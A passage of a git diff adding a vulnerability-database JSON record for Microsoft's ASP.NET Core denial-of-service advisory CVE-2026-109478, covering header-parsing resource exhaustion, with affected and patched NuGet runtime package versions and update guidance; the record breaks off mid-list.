17.3.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r33q-3g5w-gqx6/GHSA-r33q-3g5w-gqx6.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105544"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105544"}],"database_specific":{"cwe_ids":[],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:11:54Z","nvd_published_at":"2026-11-10T19:17:56Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-r3qf-p3jm-8h4p.json b/data/NuGet/GHSA-r3qf-p3jm-8h4p.json
new file mode 100644
index 0000000000..583f883fc4
--- /dev/null
+++ b/data/NuGet/GHSA-r3qf-p3jm-8h4p.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-r3qf-p3jm-8h4p","published":"2026-11-11T00:22:43Z","modified":"2026-11-11T00:30:20.621841681Z","aliases":["CVE-2026-109478"],"summary":"Microsoft Security Advisory CVE-2026-109478 - ASP.NET Core Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nProcessing comma-separated HTTP header values can cause excessive allocations and resource exhaustion.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/515\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-407\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 8.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n\n### .NET 9.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | = 9.0.0-preview.1.24081.5 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | = 9.0.0-preview.2.24128.4 | 9.0.0-preview.4.24267.6\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | = 9.0.0-preview.3.24172.13 | 9.0.0-preview.4.24267.6\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-109478](https://www.cve.org/CVERecord?id=CVE-2026-109478)\n\n### Acknowledgements\n\n- Matteo Panzeri\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.3.24172.13"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.3.24172.13"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.1.24081.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.2.24128.4"},{"fixed":"9.0.0-preview.4.24267.6"}]}],"versions":["9.0.0-preview.2.24128.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r3qf-p3jm-8h4p/GHSA-r3qf-p3jm-8h4p.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"t